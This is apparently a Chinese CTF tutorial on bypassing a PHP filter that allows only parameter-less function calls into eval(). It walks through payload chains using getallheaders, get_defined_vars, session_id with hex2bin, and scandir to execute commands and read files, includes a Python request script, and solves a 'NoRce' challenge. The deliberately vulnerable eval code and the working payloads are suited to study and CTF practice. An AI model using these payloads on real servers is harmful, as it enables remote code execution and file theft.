[TOC]

环境准备

<?php
highlight_file(__FILE__);
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {    
    eval($_GET['code']);
}
?>

这里使用pregreplace替换匹配到的字符为空,\w匹配字母、数字和下划线,等价于 [^A-Za-z0-9],然后(?R)?这个意思为递归整个匹配模式。所以正则的含义就是匹配无参数的函数,内部可以无限嵌套相同的模式(无参数函数),将匹配的替换为空,判断剩下的是否只有;
以上正则表达式只匹配a(b(c()))或a()这种格式,不匹配a(“123”),也就是说我们传入的值函数不能带有参数,所以我们要使用无参数的函数进行文件读取或者命令执行。

常用函数

目录操作:
getchwd() :函数返回当前工作目录。
scandir() :函数返回指定目录中的文件和目录的数组。
dirname() :函数返回路径中的目录部分。
chdir() :函数改变当前的目录。

数组相关的操作:
end() - 将内部指针指向数组中的最后一个元素,并输出。
next() - 将内部指针指向数组中的下一个元素,并输出。
prev() - 将内部指针指向数组中的上一个元素,并输出。
reset() - 将内部指针指向数组中的第一个元素,并输出。
each() - 返回当前元素的键名和键值,并将内部指针向前移动。
array_shift() - 删除数组中第一个元素,并返回被删除元素的值。
array_rand() 函数返回数组中的随机键名,或者如果您规定函数返回不只一个键名,则返回包含随机键名的数组。
array_flip() 函数用于反转/交换数组中所有的键名以及它们关联的键值。
array_slice() 函数在数组中根据条件取出一段值,并返回。
array_reverse() 函数返回翻转顺序的数组。

读文件
show_source() - 对文件进行语法高亮显示。
readfile() - 输出一个文件。
highlight_file() - 对文件进行语法高亮显示。
file_get_contents() - 把整个文件读入一个字符串中。
readgzfile() - 可用于读取非 gzip 格式的文件
    
编码
chr() 函数从指定的 ASCII 值返回字符。
hex2bin() — 转换十六进制字符串为二进制字符串。

关键函数

getenv()

**getenv():**获取环境变量的值(在PHP7.1之后可以不给予参数)

适用于:php7以上的版本

php7.0以下版本返回bool(false)

?code=var_dump(getenv());

image-20220410235047746

php7.0以上版本

image-20220410235228226

还可以通过这个打开phpinfo()页面

?code=var_dump(getenv(phpinfo()));

image-20220410235551070

getallheaders()

**getallheaders:**获取所有 HTTP 请求标头,是apache_request_headers()的别名函数,但是该函数只能在Apache环境下使用

?code=print_r(getallheaders());

image-20220410235935581

payload1

?code=eval(reset(getallheaders()));
# post中增加请求头
flag: system('whoami');

在我的burp中经过测试,设置的请求头跑到了最前面,这个问题我也很奇怪,网上流传的是取最后一个头,那我这里就取第一个吧。

测试一下,在这里添加请求头

image-20220411000647293

输出一下第一个请求头

image-20220411000715021

我们发现我们构造的请求头在最开始,那么我们就可以构造出payload。其实在开头还是结尾,问题都不大,灵活变通即可。

image-20220411001023643

payload2

在php7以上的版本使用

?code=eval(end(apache_request_headers()));

image-20220411001253812

get_defined_vars()

get_defined_vars():

返回由所有已定义变量所组成的数组,会返回$_GET,$_POST,$_COOKIE,$_FILES全局变量的值,返回数组顺序为get->post->cookie->files

current:

返回数组中的当前单元,初始指向插入到数组中的第一个单元,也就是会返回$_GET变量的数组值

payload1

?code=eval(end(current(get_defined_vars())));&flag=system('whoami');

image-20220411001923627

payload2

?flag=system('whoami');&code=eval(reset(current(get_defined_vars())));

image-20220411002114740

payload3

?flag=phpinfo();&code=eval(pos(pos(get_defined_vars())));

pos函数:

pos()是PHP中的内置函数,用于返回内部指针当前指向的数组中元素的值。返回值后,pos()函数不会递增或递减内部指针。

解释下这个payload

image-20220411002640375

我们发现flag的值是被嵌套在两个数组中,因此如果要取出flag的值,要执行两次pos

第一次pos:

image-20220411002803950

第二次pos:

image-20220411002837861

成功取出,加上eval函数就可以执行了

image-20220411002921084

payload4

import requests
files = {
   "system('whoami');": ""
}
#data = {
#"code":"eval(pos(pos(end(get_defined_vars()))));"
#}
r = requests.post('http://your_vps_ip/1.php?code=eval(pos(pos(end(get_defined_vars()))));', files=files)
print(r.content.decode("utf-8", "ignore"))

而如果网站对$_GET,$_POST,$_COOKIE都做的过滤, 那我们只能从$_FILES入手了,file数组在最后一个,需要end定位,然后pos两次定位获得文件名

session_start()函数

适用于:php7以下的版本

session_start()

启动新会话或者重用现有会话,成功开始会话返回 TRUE ,反之返回 FALSE,返回参数给session_id()

session_id()

获取/设置当前会话 ID,返回当前会话ID。 如果当前没有会话,则返回空字符串(””)

可以用这个函数来获取cookie中的phpsessionid了,并且这个值我们是可控的。

但其有限制:

文件会话管理器仅允许会话 ID 中使用以下字符:a-z A-Z 0-9 ,(逗号)和 - (减号)

解决方法:将参数转化为16进制传进去,之后再用hex2bin()函数转换回来就可以了。

hex2bin()

转换16进制字符串为二进制字符串

命令执行

payload

?code=eval(hex2bin(session_id(session_start()))); HTTP/1.1
Cookie: PHPSESSID=73797374656d282777686f616d6927293b  # system('whoami');

image-20220411010515707

文件读取

 show_source(session_id(session_start()));
 var_dump(file_get_contents(session_id(session_start())));
 highlight_file(session_id(session_start()));
 readfile(session_id(session_start()));
 然后抓包传入Cookie: PHPSESSID=(想读的文件)即可

payload

GET /1.php?code=show_source(session_id(session_start())); HTTP/1.1
Cookie: PHPSESSID=/flag

img

这种方法我并没有测试成功,先写下来吧。

scandir

查看当前目录文件名

image-20220411011259622

文件读取

读取当前目录文件

当前目录倒数第一位文件:
show_source(end(scandir(getcwd())));
show_source(current(array_reverse(scandir(getcwd()))));

当前目录倒数第二位文件:
show_source(next(array_reverse(scandir(getcwd()))));

随机返回当前目录文件:
highlight_file(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(getcwd()))));
show_source(array_rand(array_flip(scandir(current(localeconv())))));

image-20220411011558669

多试几次

查看上一级目录文件名

print_r(scandir(dirname(getcwd())));
print_r(scandir(next(scandir(getcwd()))));
print_r(scandir(next(scandir(getcwd()))));

image-20220411011321325

函数解释

array_flip():交换数组中的键和值,成功时返回交换后的数组,如果失败返回 NULL。
array_rand():从数组中随机取出一个或多个单元,如果只取出一个(默认为1),array_rand() 返回随机单元的键名。 否则就返回包含随机键名的数组。 完成后,就可以根据随机的键获取数组的随机值。
array_flip()和array_rand()配合使用可随机返回当前目录下的文件名
dirname(chdir(dirname()))配合切换文件路径

查看和读取根目录文件

所获得的字符串第一位有几率是/,需要多试几次

print_r(scandir(chr(ord(strrev(crypt(serialize(array())))))));

image-20220411011343731

ctf题目讲解

NoRce

源码:

<?php
highlight_file(__FILE__);
$exp = $_GET['exp'];
//php7.3 + Apache
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $exp)) {
    if(!preg_match("/o|v|b|print|var|time|file|sqrt|path|dir|exp|pi|an|na|en|ex|et|na|dec|true|false|[0-9]/i", $exp)){
        eval($exp);
    }else{
        exit('NoNoNo,U R Hacker~');
    }
}else{
    exit("What's this?");
}
?>

过滤相当严格

测试一下,发现

apache_request_headers();

没有被过滤

我们还可以利用其它几个没有被过滤的函数构造payload

die() 函数输出一条消息,并退出当前脚本
array_shift() - 删除数组中第一个元素,并返回被删除元素的值

在我的电脑中,需要把flag头,放在host前,具体原因未知

image-20220411013150830

此时arry_shift()返回的值就是我们要执行的命令

payload

?exp=system(array_shift(apache_request_headers()));
# post
flag: whoami

image-20220411013259840

成功执行命令